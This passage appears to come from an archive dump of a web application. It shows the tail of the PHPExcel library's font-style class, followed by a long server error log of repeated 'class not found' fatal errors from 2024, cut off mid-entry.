PHPExcel_Style_Font */ public function setUnderline($pValue = self::UNDERLINE_NONE) { if (is_bool($pValue)) { $pValue = ($pValue) ? self::UNDERLINE_SINGLE : self::UNDERLINE_NONE; } elseif ($pValue == '') { $pValue = self::UNDERLINE_NONE; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('underline' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->underline = $pValue; } return $this; } /** * Get Strikethrough * * @return boolean */ public function getStrikethrough() { if ($this->isSupervisor) { return $this->getSharedComponent()->getStrikethrough(); } return $this->strikethrough; } /** * Set Strikethrough * * @param boolean $pValue * @return PHPExcel_Style_Font */ public function setStrikethrough($pValue = false) { if ($pValue == '') { $pValue = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('strike' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->strikethrough = $pValue; } return $this; } /** * Get Color * * @return PHPExcel_Style_Color */ public function getColor() { return $this->color; } /** * Set Color * * @param PHPExcel_Style_Color $pValue * @throws PHPExcel_Exception * @return PHPExcel_Style_Font */ public function setColor(PHPExcel_Style_Color $pValue = null) { // make sure parameter is a real color and not a supervisor $color = $pValue->getIsSupervisor() ? $pValue->getSharedComponent() : $pValue; if ($this->isSupervisor) { $styleArray = $this->getColor()->getStyleArray(array('argb' => $color->getARGB())); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->color = $color; } return $this; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->name . $this->size . ($this->bold ? 't' : 'f') . ($this->italic ? 't' : 'f') . ($this->superScript ? 't' : 'f') . ($this->subScript ? 't' : 'f') . $this->underline . ($this->strikethrough ? 't' : 'f') . $this->color->getHashCode() . __CLASS__ ); } } PHPExcel/Style/error_log 0000644 00000122251 14642534111 0011175 0 ustar 00 [11-May-2024 05:10:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [11-May-2024 05:10:52 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [11-May-2024 05:10:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [11-May-2024 05:10:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [11-May-2024 05:10:56 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [11-May-2024 05:10:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [11-May-2024 05:11:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [11-May-2024 05:11:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [11-May-2024 05:11:03 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [22-May-2024 04:07:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [22-May-2024 05:40:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [22-May-2024 07:45:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [22-May-2024 09:00:07 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [22-May-2024 11:13:26 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [22-May-2024 11:23:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [22-May-2024 12:13:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [22-May-2024 12:19:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [22-May-2024 14:24:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [26-May-2024 21:12:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [27-May-2024 00:26:44 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [27-May-2024 03:26:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [27-May-2024 05:17:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [27-May-2024 06:07:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [27-May-2024 06:27:14 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [27-May-2024 07:10:17 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [27-May-2024 09:29:14 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [27-May-2024 10:13:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [28-May-2024 02:07:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [29-May-2024 22:03:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [29-May-2024 22:03:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [29-May-2024 22:03:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [29-May-2024 22:03:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [29-May-2024 22:04:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [29-May-2024 22:04:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [29-May-2024 22:04:14 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [29-May-2024 22:04:18 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [29-May-2024 22:04:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [07-Jun-2024 13:43:56 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [07-Jun-2024 15:03:21 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [07-Jun-2024 16:32:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [10-Jun-2024 07:40:16 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [10-Jun-2024 12:54:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [10-Jun-2024 18:23:44 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [11-Jun-2024 04:37:14 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [11-Jun-2024 07:09:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [11-Jun-2024 09:53:47 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [11-Jun-2024 15:13:28 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [11-Jun-2024 20:54:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [12-Jun-2024 12:14:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [12-Jun-2024 17:29:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [12-Jun-2024 22:58:18 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [17-Jun-2024 01:21:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [17-Jun-2024 01:21:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [17-Jun-2024 01:21:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [17-Jun-2024 01:21:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [17-Jun-2024 01:21:37 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [17-Jun-2024 01:21:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [17-Jun-2024 01:21:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [17-Jun-2024 01:21:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [17-Jun-2024 01:21:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [17-Jun-2024 02:34:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [17-Jun-2024 02:38:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [17-Jun-2024 02:39:17 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [17-Jun-2024 02:44:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [17-Jun-2024 03:10:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [17-Jun-2024 03:50:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [17-Jun-2024 04:05:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [19-Jun-2024 11:01:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [19-Jun-2024 17:07:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [19-Jun-2024 19:35:55 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [19-Jun-2024 19:40:28 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [20-Jun-2024 13:56:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [20-Jun-2024 19:28:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [20-Jun-2024 22:21:06 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [20-Jun-2024 22:25:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [22-Jun-2024 10:17:47 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [22-Jun-2024 10:18:12 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [22-Jun-2024 10:19:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [22-Jun-2024 10:20:03 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [22-Jun-2024 10:20:33 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [22-Jun-2024 10:21:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [22-Jun-2024 10:21:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [22-Jun-2024 10:23:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [24-Jun-2024 09:36:32 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [24-Jun-2024 09:36:32 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [24-Jun-2024 09:36:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [24-Jun-2024 09:36:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [24-Jun-2024 09:36:34 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [24-Jun-2024 09:36:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [24-Jun-2024 09:36:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [24-Jun-2024 09:36:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [24-Jun-2024 09:36:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [26-Jun-2024 03:48:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in 